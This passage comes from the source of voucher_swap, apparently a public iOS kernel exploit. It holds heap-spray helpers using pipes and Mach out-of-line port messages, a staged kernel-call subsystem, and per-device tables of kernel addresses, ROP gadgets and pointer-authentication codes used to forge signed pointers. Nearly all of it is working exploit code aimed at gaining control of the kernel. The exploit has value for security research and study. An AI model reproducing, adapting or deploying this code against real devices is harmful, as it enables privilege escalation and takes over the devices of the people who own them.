546 | // Unfortunately pipe() seems to return success with invalid fds once we've 547 | // exhausted the file limit. Check for this. 548 | if (error != 0 || fds[0] < 0 || fds[1] < 0) { 549 | pipe_close(fds); 550 | break; 551 | } 552 | // Mark the write-end as nonblocking. 553 | set_nonblock(fds[1]); 554 | // Store the fds. 555 | pipefds[2 * count + 0] = fds[0]; 556 | pipefds[2 * count + 1] = fds[1]; 557 | } 558 | // Truncate the array to the smaller size. 559 | int *new_pipefds = realloc(pipefds, 2 * count * sizeof(int)); 560 | assert(new_pipefds != NULL); 561 | // Return the count and the array. 562 | *pipe_count = count; 563 | return new_pipefds; 564 | } 565 | 566 | void 567 | close_pipes(int *pipefds, size_t pipe_count) { 568 | for (size_t i = 0; i < pipe_count; i++) { 569 | pipe_close(pipefds + 2 * i); 570 | } 571 | } 572 | 573 | size_t 574 | pipe_spray(const int *pipefds, size_t pipe_count, 575 | void *pipe_buffer, size_t pipe_buffer_size, 576 | void (^update)(uint32_t pipe_index, void *data, size_t size)) { 577 | assert(pipe_count <= 0xffffff); 578 | assert(pipe_buffer_size > 512); 579 | size_t write_size = pipe_buffer_size - 1; 580 | size_t pipes_filled = 0; 581 | for (size_t i = 0; i < pipe_count; i++) { 582 | // Update the buffer. 583 | if (update != NULL) { 584 | update((uint32_t)i, pipe_buffer, pipe_buffer_size); 585 | } 586 | // Fill the write-end of the pipe with the buffer. Leave off the last byte. 587 | int wfd = pipefds[2 * i + 1]; 588 | ssize_t written = write(wfd, pipe_buffer, write_size); 589 | if (written != write_size) { 590 | // This is most likely because we've run out of pipe buffer memory. None of 591 | // the subsequent writes will work either. 592 | break; 593 | } 594 | pipes_filled++; 595 | } 596 | return pipes_filled; 597 | } 598 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_alloc.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_alloc.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_ 6 | #define VOUCHER_SWAP__KERNEL_ALLOC_H_ 7 | 8 | #include 9 | #include 10 | 11 | /* 12 | * message_size_for_kalloc_size 13 | * 14 | * Description: 15 | * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified 16 | * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it 17 | * could be slightly small. 18 | */ 19 | size_t message_size_for_kalloc_size(size_t kalloc_size); 20 | 21 | /* 22 | * kalloc_size_for_message_size 23 | * 24 | * Description: 25 | * Return the kalloc allocation size corresponding to sending a message of the specified size. 26 | * 27 | * This is only correct for messages large enough that the ipc_kmsg struct is allocated with 28 | * kalloc(). 29 | */ 30 | size_t kalloc_size_for_message_size(size_t message_size); 31 | 32 | /* 33 | * ipc_kmsg_size_for_message_size 34 | * 35 | * Description: 36 | * Return the allocation size of the ipc_kmsg for the given message size. 37 | */ 38 | size_t ipc_kmsg_size_for_message_size(size_t message_size); 39 | 40 | /* 41 | * ool_ports_spray_port 42 | * 43 | * Description: 44 | * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors 45 | * with the given ports. The goal is to spray the target kalloc zone with many copies of a 46 | * particular array of OOL ports. 47 | * 48 | * Make sure that the port's queue limits are sufficient to hold the specified number of 49 | * messages. 50 | * 51 | * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages 52 | * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has 53 | * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with 54 | * the OOL ports spray. 55 | * 56 | * There are limits on the number of OOL ports that can be sent in a message, the number of 57 | * descriptors in a message, and the number of messages that can be queued on a port. Be sure 58 | * that the parameters you supply are valid, since this function does not check whether or not 59 | * the kernel will let your message through (or even whether they make sense). 60 | * 61 | * Parameters: 62 | * holding_port The port on which to enqueue the Mach messages. 63 | * ool_ports The OOL Mach ports to spray. 64 | * port_count The number of OOL Mach ports. 65 | * ool_disposition The disposition to send the OOL ports. 66 | * ool_count The number of OOL ports descriptors to send per message. 67 | * message_size The size of each message. 68 | * message_count The number of messages to enqueue on the holding port. 69 | * 70 | * Returns: 71 | * Returns the number of messages that were successfully sent. 72 | */ 73 | size_t ool_ports_spray_port(mach_port_t holding_port, 74 | const mach_port_t *ool_ports, size_t port_count, 75 | mach_msg_type_name_t ool_disposition, size_t ool_count, 76 | size_t message_size, size_t message_count); 77 | 78 | /* 79 | * kalloc_spray_port 80 | * 81 | * Description: 82 | * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach 83 | * messages containing OOL ports to the specified holding port. Returns the number of kalloc 84 | * allocations that were actually performed. 85 | * 86 | * The point of this function is to quickly make as many kalloc allocations in the target zone 87 | * as possible using the specified holding port. The way we do this is by sending messages 88 | * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg 89 | * struct for the message and the OOL port arrays fall into the target kalloc zone. We will 90 | * continue sending messages to the port until either we've created the required number of 91 | * allocations or we've filled up the port's message queue. 92 | * 93 | * To free the allocations, call mach_port_destroy() on the holding port. Note that this will 94 | * also free the holding port if there are no other references. 95 | * 96 | * Parameters: 97 | * holding_port The port on which to enqueue the Mach messages. 98 | * min_kalloc_size The minimum sized allocation that is handled by this zone. 99 | * kalloc_zone The kalloc zone in which to spray allocations. 100 | * kalloc_count The desired number of allocations to make. 101 | * 102 | * Returns: 103 | * Returns the number of kalloc allocations actually made, which may be less than the number 104 | * requested if the port fills up or if an error is encountered. 105 | */ 106 | size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone, 107 | size_t kalloc_count); 108 | 109 | /* 110 | * kalloc_spray_size 111 | * 112 | * Description: 113 | * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach 114 | * messages containing OOL ports to the given holding ports. 115 | * 116 | * See kalloc_spray_port(). 117 | * 118 | * To free the allocations, call destroy_ports() on the holding ports. Note that 119 | * destroy_ports() will also free the holding ports themselves if there are no other 120 | * references. 121 | * 122 | * Parameters: 123 | * holding_ports The array of holding ports. 124 | * port_count inout On entry, the number of holding ports available. On exit, 125 | * the number of holding ports used. 126 | * min_kalloc_size The minimum sized allocation that is handled by this zone. 127 | * kalloc_zone The kalloc zone in which to spray allocations. 128 | * spray_size The number of bytes to try and spray to the target zone. 129 | * 130 | * Returns: 131 | * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than 132 | * the requested size if an error is encountered or more than the requested size if the spray 133 | * size was not an even multiple of the zone size. 134 | */ 135 | size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count, 136 | size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size); 137 | 138 | /* 139 | * ool_ports_spray_size_with_gc 140 | * 141 | * Description: 142 | * Spray spray_size bytes of kernel memory with the specified out-of-line ports. 143 | * 144 | * Parameters: 145 | * holding_ports The array of holding ports. 146 | * holding_port_count inout On entry, the number of holding ports available. On exit, 147 | * the number of holding ports used. 148 | * message_size The size of each message to send. This parameter should be 149 | * chosen carefully, as allocations will be taken out of the 150 | * corresponding kalloc zone. 151 | * ool_ports The OOL Mach ports to spray. 152 | * ool_port_count The number of OOL Mach ports. 153 | * ool_disposition The disposition to send the OOL ports. 154 | * spray_size The number of bytes of OOL ports to try and spray. 155 | * 156 | * Returns: 157 | * Returns the number of bytes of OOL ports actually sprayed. 158 | */ 159 | size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count, 160 | size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count, 161 | mach_msg_type_name_t ool_disposition, size_t spray_size); 162 | 163 | /* 164 | * create_ports 165 | * 166 | * Description: 167 | * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no 168 | * longer needed, deallocate it with free(). 169 | */ 170 | mach_port_t *create_ports(size_t count); 171 | 172 | /* 173 | * destroy_ports 174 | * 175 | * Description: 176 | * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD. 177 | */ 178 | void destroy_ports(mach_port_t *ports, size_t count); 179 | 180 | /* 181 | * deallocate_ports 182 | * 183 | * Description: 184 | * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD. 185 | */ 186 | void deallocate_ports(mach_port_t *ports, size_t count); 187 | 188 | /* 189 | * port_increase_queue_limit 190 | * 191 | * Description: 192 | * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX. 193 | */ 194 | void port_increase_queue_limit(mach_port_t port); 195 | 196 | /* 197 | * port_insert_send_right 198 | * 199 | * Description: 200 | * Insert a send right on the specified port, which must name a receive right. 201 | */ 202 | void port_insert_send_right(mach_port_t port); 203 | 204 | /* 205 | * port_drain_messages 206 | * 207 | * Description: 208 | * Drain all the messages currently queued on the specified port. The messages are passed to 209 | * the message_handler block, which is responsible for processing the messages and freeing any 210 | * associated resources (e.g. with mach_msg_destroy()). 211 | */ 212 | void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *)); 213 | 214 | /* 215 | * port_discard_messages 216 | * 217 | * Description: 218 | * Discard all the messages currently queued on the specified port. The messages are received 219 | * and passed directly to mach_msg_destroy(). 220 | */ 221 | void port_discard_messages(mach_port_t port); 222 | 223 | /* 224 | * ool_ports_spray_receive 225 | * 226 | * Description: 227 | * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to 228 | * the specified handler block. The messages are destroyed after they are processed. 229 | */ 230 | void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count, 231 | void (^ool_ports_handler)(mach_port_t *, size_t)); 232 | 233 | /* 234 | * increase_file_limit_voucher 235 | * 236 | * Description: 237 | * Increase our process's limit on the number of open files. 238 | */ 239 | void increase_file_limit_voucher(void); 240 | 241 | /* 242 | * pipe_close 243 | * 244 | * Description: 245 | * Close the file descriptors of a pipe. 246 | */ 247 | void pipe_close(int pipefds[2]); 248 | 249 | /* 250 | * create_pipes 251 | * 252 | * Description: 253 | * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and 254 | * on return it contains the number of pipes actually created. 255 | * 256 | * The pipes are returned as an array of file descriptors. 257 | */ 258 | int *create_pipes(size_t *pipe_count); 259 | 260 | /* 261 | * close_pipes 262 | * 263 | * Description: 264 | * Close the pipes in an array. 265 | */ 266 | void close_pipes(int *pipefds, size_t pipe_count); 267 | 268 | /* 269 | * pipe_spray 270 | * 271 | * Description: 272 | * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to 273 | * 16 MB, so that's the maximum we'll be able to spray. 274 | * 275 | * Note that the last byte of the sprayed data won't be written to memory! 276 | * 277 | * Parameters: 278 | * pipefds The pipe file descriptors. 279 | * pipe_count The number of pipe fd pairs. 280 | * pipe_buffer The data to spray. 281 | * pipe_buffer_size The size of the data to spray. 282 | * update A callback to modify the data on each iteration. 283 | * 284 | * Returns: 285 | * Returns the number of pipes actually filled. 286 | */ 287 | size_t pipe_spray(const int *pipefds, size_t pipe_count, 288 | void *pipe_buffer, size_t pipe_buffer_size, 289 | void (^update)(uint32_t pipe_index, void *data, size_t size)); 290 | 291 | #endif 292 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_call.h" 6 | 7 | #include 8 | 9 | #include "kernel_call/pac.h" 10 | #include "kernel_call/user_client.h" 11 | #include "log.h" 12 | 13 | // ---- Public API -------------------------------------------------------------------------------- 14 | 15 | bool 16 | kernel_call_init() { 17 | bool ok = stage1_kernel_call_init() 18 | && stage2_kernel_call_init() 19 | && stage3_kernel_call_init(); 20 | if (!ok) { 21 | kernel_call_deinit(); 22 | } 23 | return ok; 24 | } 25 | 26 | void 27 | kernel_call_deinit() { 28 | stage3_kernel_call_deinit(); 29 | stage2_kernel_call_deinit(); 30 | stage1_kernel_call_deinit(); 31 | } 32 | 33 | uint32_t 34 | kernel_call_7(uint64_t function, size_t argument_count, ...) { 35 | assert(argument_count <= 7); 36 | uint64_t arguments[7]; 37 | va_list ap; 38 | va_start(ap, argument_count); 39 | for (size_t i = 0; i < argument_count && i < 7; i++) { 40 | arguments[i] = va_arg(ap, uint64_t); 41 | } 42 | va_end(ap); 43 | return kernel_call_7v(function, argument_count, arguments); 44 | } 45 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | /* 13 | * kernel_call_init 14 | * 15 | * Description: 16 | * Initialize kernel_call functions. 17 | */ 18 | bool kernel_call_init(void); 19 | 20 | /* 21 | * kernel_call_deinit 22 | * 23 | * Description: 24 | * Deinitialize the kernel call subsystem and restore the kernel to a safe state. 25 | */ 26 | void kernel_call_deinit(void); 27 | 28 | /* 29 | * kernel_call_7 30 | * 31 | * Description: 32 | * Call a kernel function with the specified arguments. 33 | * 34 | * Restrictions: 35 | * See kernel_call_7v(). 36 | */ 37 | uint32_t kernel_call_7(uint64_t function, size_t argument_count, ...); 38 | 39 | /* 40 | * kernel_call_7v 41 | * 42 | * Description: 43 | * Call a kernel function with the specified arguments. 44 | * 45 | * Restrictions: 46 | * At most 7 arguments can be passed. 47 | * arguments[0] must be nonzero. 48 | * The return value is truncated to 32 bits. 49 | */ 50 | uint32_t kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]); 51 | 52 | /* 53 | * kernel_forge_pacia 54 | * 55 | * Description: 56 | * Forge a PACIA pointer using the kernel forging gadget. 57 | */ 58 | uint64_t kernel_forge_pacia(uint64_t pointer, uint64_t context); 59 | 60 | /* 61 | * kernel_forge_pacia_with_type 62 | * 63 | * Description: 64 | * Forge a PACIA pointer using the specified address, with the upper 16 bits replaced by the 65 | * type code, as context. 66 | */ 67 | uint64_t kernel_forge_pacia_with_type(uint64_t pointer, uint64_t address, uint16_t type); 68 | 69 | /* 70 | * kernel_forge_pacda 71 | * 72 | * Description: 73 | * Forge a PACDA pointer using the kernel forging gadget. 74 | */ 75 | uint64_t kernel_forge_pacda(uint64_t pointer, uint64_t context); 76 | 77 | /* 78 | * kernel_xpaci 79 | * 80 | * Description: 81 | * Strip a PACIx code from a kernel pointer. 82 | */ 83 | uint64_t kernel_xpaci(uint64_t pointer); 84 | 85 | /* 86 | * kernel_xpacd 87 | * 88 | * Description: 89 | * Strip a PACDx code from a kernel pointer. 90 | */ 91 | uint64_t kernel_xpacd(uint64_t pointer); 92 | 93 | #endif 94 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/kc_parameters.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.c 3 | * Brandon Azad 4 | */ 5 | #define KERNEL_CALL_PARAMETERS_EXTERN 6 | #include "kernel_call/kc_parameters.h" 7 | 8 | #include "kernel_slide.h" 9 | #include "log.h" 10 | #include "platform.h" 11 | #include "platform_match.h" 12 | 13 | // ---- Initialization routines ------------------------------------------------------------------- 14 | 15 | // A struct describing an initialization. 16 | struct initialization { 17 | const char *devices; 18 | const char *builds; 19 | void (*init)(void); 20 | }; 21 | 22 | // Run initializations matching this platform. 23 | static size_t 24 | run_initializations(struct initialization *inits, size_t count) { 25 | size_t match_count = 0; 26 | for (size_t i = 0; i < count; i++) { 27 | struct initialization *init = &inits[i]; 28 | if (platform_matches(init->devices, init->builds)) { 29 | init->init(); 30 | match_count++; 31 | } 32 | } 33 | return match_count; 34 | } 35 | 36 | // A helper macro to get the number of elements in a static array. 37 | #define ARRAY_COUNT(x) (sizeof(x) / sizeof((x)[0])) 38 | 39 | // ---- Offset initialization --------------------------------------------------------------------- 40 | 41 | static void 42 | offsets__iphone11_8__16C50() { 43 | OFFSET(IOAudio2DeviceUserClient, traps) = 0x118; 44 | 45 | SIZE(IOExternalTrap) = 0x18; 46 | OFFSET(IOExternalTrap, object) = 0; 47 | OFFSET(IOExternalTrap, function) = 8; 48 | OFFSET(IOExternalTrap, offset) = 16; 49 | 50 | OFFSET(IORegistryEntry, reserved) = 16; 51 | OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID) = 8; 52 | 53 | VTABLE_INDEX(IOUserClient, getExternalTrapForIndex) = 0x5B8 / 8; 54 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex) = 0x5C0 / 8; 55 | } 56 | 57 | // A list of offset initializations by platform. 58 | static struct initialization offsets[] = { 59 | { "*", "*", offsets__iphone11_8__16C50 }, 60 | }; 61 | 62 | // ---- Address initialization -------------------------------------------------------------------- 63 | 64 | #define SLIDE(address) (address == 0 ? 0 : address + kernel_slide) 65 | 66 | static void 67 | addresses__iphone11_8__16C50() { 68 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008f3ce30); 69 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008f3ce38); 70 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff0090b72a0); 71 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008f3cd18); 72 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007ebd1f0); 73 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff0087f7cd8); 74 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00882912c); 75 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff0087e82dc); 76 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b66d38); 77 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b66d60); 78 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077b4e28); 79 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080158f0); 80 | 81 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 82 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 83 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 84 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 85 | } 86 | 87 | static void 88 | addresses__iphone11_2__16C50() { 89 | ADDRESS(paciza_pointer__l2tp_domain_module_start) = SLIDE(0xfffffff008fd8be8); 90 | ADDRESS(paciza_pointer__l2tp_domain_module_stop) = SLIDE(0xfffffff008fd8bf0); 91 | ADDRESS(l2tp_domain_inited) = SLIDE(0xfffffff009154688); 92 | ADDRESS(sysctl__net_ppp_l2tp) = SLIDE(0xfffffff008fd8ad0); 93 | ADDRESS(sysctl_unregister_oid) = SLIDE(0xfffffff007eed1f0); 94 | ADDRESS(mov_x0_x4__br_x5) = SLIDE(0xfffffff00885b230); 95 | ADDRESS(mov_x9_x0__br_x1) = SLIDE(0xfffffff00888c684); 96 | ADDRESS(mov_x10_x3__br_x6) = SLIDE(0xfffffff00884b834); 97 | ADDRESS(kernel_forge_pacia_gadget) = SLIDE(0xfffffff007b96d38); 98 | ADDRESS(kernel_forge_pacda_gadget) = SLIDE(0xfffffff007b96d60); 99 | SIZE(kernel_forge_pacxa_gadget_buffer) = 0x110; 100 | OFFSET(kernel_forge_pacxa_gadget_buffer, first_access) = 0xe8; 101 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result) = 0xf0; 102 | OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result) = 0xe8; 103 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0077d4e28); 104 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff0080458f0); 105 | } 106 | 107 | static void 108 | addresses__iphone10_1__16B92() { 109 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc668); 110 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff007594f04); 111 | } 112 | 113 | static void 114 | addresses__iphone10_1__16C101() { 115 | ADDRESS(IOUserClient__vtable) = SLIDE(0xfffffff0070cc648); 116 | ADDRESS(IORegistryEntry__getRegistryEntryID) = SLIDE(0xfffffff00759424c); 117 | } 118 | 119 | // A list of address initializations by platform. 120 | static struct initialization addresses[] = { 121 | { "iPhone11,8", "16C50-16C104", addresses__iphone11_8__16C50 }, 122 | { "iPhone11,2", "16C50-16C104", addresses__iphone11_2__16C50 }, 123 | { "iPhone10,1", "16B92", addresses__iphone10_1__16B92 }, 124 | { "iPhone10,1", "16C101", addresses__iphone10_1__16C101 }, 125 | }; 126 | 127 | // ---- PAC initialization ------------------------------------------------------------------------ 128 | 129 | #if __arm64e__ 130 | 131 | static void 132 | pac__iphone11_8__16C50() { 133 | INIT_VTABLE_PAC_CODES(IOAudio2DeviceUserClient, 134 | 0x3771, 0x56b7, 0xbaa2, 0x3607, 0x2e4a, 0x3a87, 0x89a9, 0xfffc, 135 | 0xfc74, 0x5635, 0xbe60, 0x32e5, 0x4a6a, 0xedc5, 0x5c68, 0x6a10, 136 | 0x7a2a, 0xaf75, 0x137e, 0x0655, 0x43aa, 0x12e9, 0x4578, 0x4275, 137 | 0xff53, 0x1814, 0x122e, 0x13f6, 0x1d35, 0xacb1, 0x7eb0, 0x1262, 138 | 0x82eb, 0x164e, 0x37a5, 0xb659, 0x6c51, 0xa20f, 0xb3b6, 0x6bcb, 139 | 0x5a20, 0x5062, 0x00d7, 0x7c85, 0x8a26, 0x3539, 0x688b, 0x1e60, 140 | 0x1955, 0x0689, 0xc256, 0xa383, 0xf021, 0x1f0a, 0xb4bb, 0x8ffc, 141 | 0xb5b9, 0x8764, 0x5d96, 0x80d9, 0x0c9c, 0x5d0a, 0xcbcc, 0x617d, 142 | 0x848a, 0x2312, 0x3540, 0xc257, 0x3025, 0x9fc2, 0x5038, 0xc666, 143 | 0x6cc3, 0x550c, 0xa19a, 0xa51b, 0x4577, 0x573c, 0x1a4e, 0x6c3d, 144 | 0xb049, 0xc4b2, 0xc90d, 0x7d59, 0x4897, 0x3c68, 0xb085, 0x4529, 145 | 0x639f, 0xccfb, 0x55eb, 0xe933, 0xaec3, 0x5ec5, 0x5219, 0xc6b2, 146 | 0x8a43, 0x4a20, 0xd9f2, 0x981a, 0xa27f, 0xc4f9, 0x6b87, 0x60a1, 147 | 0x7e78, 0x36aa, 0x86ef, 0x9be9, 0x7318, 0x93b7, 0x638e, 0x61a6, 148 | 0x9175, 0x136b, 0xdb58, 0x4a31, 0x0988, 0x5393, 0xabe0, 0x0ad9, 149 | 0x6c99, 0xd52d, 0xe213, 0x308f, 0xd78d, 0x3a1d, 0xa390, 0x240b, 150 | 0x1b89, 0x8d3c, 0x2652, 0x7f14, 0x0759, 0x63c4, 0x800f, 0x9cc2, 151 | 0x02ac, 0x785f, 0xcc6b, 0x82cd, 0x808e, 0x37ce, 0xa4c7, 0xe8de, 152 | 0xa343, 0x4bc0, 0xf8a6, 0xac7f, 0x7974, 0xea1b, 0x4b35, 0x9eb4, 153 | 0x595a, 0x5b2b, 0x699e, 0x2b52, 0xf40e, 0x0ddb, 0x0f88, 0x8700, 154 | 0x36c3, 0x058e, 0xf16e, 0x3a71, 0xda1e, 0x10b6, 0x8654, 0xb352, 155 | 0xa03f, 0xbde5, 0x5cf5, 0x18b8, 0xea14, 0x3e51, 0xbcef, 0xfd2b, 156 | 0xc1ba, 0x02d4, 0xee4f, 0x3565, 0xb50c, 0xbdaa, 0xbc5e, 0xea23, 157 | 0x2bcb); 158 | } 159 | 160 | // A list of PAC initializations by platform. 161 | static struct initialization pac_codes[] = { 162 | { "iPhone11,*", "*", pac__iphone11_8__16C50 }, 163 | }; 164 | 165 | #endif // __arm64e__ 166 | 167 | // ---- Public API -------------------------------------------------------------------------------- 168 | 169 | bool 170 | kernel_call_parameters_init() { 171 | bool ok = kernel_slide_init(); 172 | if (!ok) { 173 | return false; 174 | } 175 | size_t count = run_initializations(offsets, ARRAY_COUNT(offsets)); 176 | if (count < 1) { 177 | ERROR("no kernel_call %s for %s %s", "offsets", 178 | platform.machine, platform.osversion); 179 | return false; 180 | } 181 | count = run_initializations(addresses, ARRAY_COUNT(addresses)); 182 | if (count < 1) { 183 | ERROR("no kernel_call %s for %s %s", "addresses", 184 | platform.machine, platform.osversion); 185 | return false; 186 | } 187 | #if __arm64e__ 188 | count = run_initializations(pac_codes, ARRAY_COUNT(pac_codes)); 189 | if (count < 1) { 190 | ERROR("no kernel_call %s for %s %s", "PAC codes", 191 | platform.machine, platform.osversion); 192 | return false; 193 | } 194 | #endif // __arm64e__ 195 | return true; 196 | } 197 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/kc_parameters.h: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/kc_parameters.h 3 | * Brandon Azad 4 | */ 5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 6 | #define VOUCHER_SWAP__KERNEL_CALL__KC_PARAMETERS_H_ 7 | 8 | #include 9 | #include 10 | #include 11 | 12 | #include "parameters.h" 13 | 14 | #ifdef KERNEL_CALL_PARAMETERS_EXTERN 15 | #define extern KERNEL_CALL_PARAMETERS_EXTERN 16 | #endif 17 | 18 | // A structure describing the PAC codes used as part of the context for signing and verifying 19 | // virtual method pointers in a vtable. 20 | struct vtable_pac_codes { 21 | size_t count; 22 | const uint16_t *codes; 23 | }; 24 | 25 | // Generate the name for an offset in a virtual method table. 26 | #define VTABLE_INDEX(class_, method_) _##class_##_##method_##__vtable_index_ 27 | 28 | // Generate the name for a list of vtable PAC codes. 29 | #define VTABLE_PAC_CODES(class_) _##class_##__vtable_pac_codes_ 30 | 31 | // A helper macro for INIT_VTABLE_PAC_CODES(). 32 | #define VTABLE_PAC_CODES_DATA(class_) _##class_##__vtable_pac_codes_data_ 33 | 34 | // Initialize a list of vtable PAC codes. In order to store the PAC code array in constant memory, 35 | // we place it in a static variable. Consequently, this macro will produce name conflicts if used 36 | // outside a function. 37 | #define INIT_VTABLE_PAC_CODES(class_, ...) \ 38 | static const uint16_t VTABLE_PAC_CODES_DATA(class_)[] = { __VA_ARGS__ }; \ 39 | VTABLE_PAC_CODES(class_) = (struct vtable_pac_codes) { \ 40 | .count = sizeof(VTABLE_PAC_CODES_DATA(class_)) / sizeof(uint16_t), \ 41 | .codes = (const uint16_t *) VTABLE_PAC_CODES_DATA(class_), \ 42 | } 43 | 44 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_start); 45 | extern uint64_t ADDRESS(paciza_pointer__l2tp_domain_module_stop); 46 | extern uint64_t ADDRESS(l2tp_domain_inited); 47 | extern uint64_t ADDRESS(sysctl__net_ppp_l2tp); 48 | extern uint64_t ADDRESS(sysctl_unregister_oid); 49 | extern uint64_t ADDRESS(mov_x0_x4__br_x5); 50 | extern uint64_t ADDRESS(mov_x9_x0__br_x1); 51 | extern uint64_t ADDRESS(mov_x10_x3__br_x6); 52 | extern uint64_t ADDRESS(kernel_forge_pacia_gadget); 53 | extern uint64_t ADDRESS(kernel_forge_pacda_gadget); 54 | extern uint64_t ADDRESS(IOUserClient__vtable); 55 | extern uint64_t ADDRESS(IORegistryEntry__getRegistryEntryID); 56 | 57 | extern size_t SIZE(kernel_forge_pacxa_gadget_buffer); 58 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, first_access); 59 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacia_result); 60 | extern size_t OFFSET(kernel_forge_pacxa_gadget_buffer, pacda_result); 61 | 62 | extern struct vtable_pac_codes VTABLE_PAC_CODES(IOAudio2DeviceUserClient); 63 | 64 | // Parameters for IOAudio2DeviceUserClient. 65 | extern size_t OFFSET(IOAudio2DeviceUserClient, traps); 66 | 67 | // Parameters for IOExternalTrap. 68 | extern size_t SIZE(IOExternalTrap); 69 | extern size_t OFFSET(IOExternalTrap, object); 70 | extern size_t OFFSET(IOExternalTrap, function); 71 | extern size_t OFFSET(IOExternalTrap, offset); 72 | 73 | // Parameters for IORegistryEntry. 74 | extern size_t OFFSET(IORegistryEntry, reserved); 75 | extern size_t OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID); 76 | 77 | // Parameters for IOUserClient. 78 | extern uint32_t VTABLE_INDEX(IOUserClient, getExternalTrapForIndex); 79 | extern uint32_t VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex); 80 | 81 | /* 82 | * kernel_call_parameters_init 83 | * 84 | * Description: 85 | * Initialize the addresses used in the kernel_call subsystem. 86 | */ 87 | bool kernel_call_parameters_init(void); 88 | 89 | #undef extern 90 | 91 | #endif 92 | -------------------------------------------------------------------------------- /voucher_swap/voucher_swap/kernel_call/pac.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kernel_call/pac.c 3 | * Brandon Azad 4 | */ 5 | #include "kernel_call/pac.h" 6 | 7 | #include "kernel_call.h" 8 | #include "kernel_call/kc_parameters.h" 9 | #include "kernel_call/user_client.h" 10 | #include "kernel_memory.h" 11 | #include "log.h" 12 | #include "mach_vm.h" 13 | #include "parameters.h" 14 | 15 | #if __arm64e__ 16 | 17 | // ---- Global variables -------------------------------------------------------------------------- 18 | 19 | // The address of our kernel buffer. 20 | static uint64_t kernel_pacxa_buffer; 21 | 22 | // The forged value PACIZA('mov x0, x4 ; br x5'). 23 | static uint64_t paciza__mov_x0_x4__br_x5; 24 | 25 | // ---- Stage 2 ----------------------------------------------------------------------------------- 26 | 27 | /* 28 | * stage1_kernel_call_7 29 | * 30 | * Description: 31 | * Call a kernel function using our stage 1 execute primitive with explicit registers. 32 | * 33 | * See stage1_kernel_call_7v. 34 | */ 35 | static uint32_t 36 | stage1_kernel_call_7(uint64_t function, uint64_t x1, uint64_t x2, uint64_t x3, 37 | uint64_t x4, 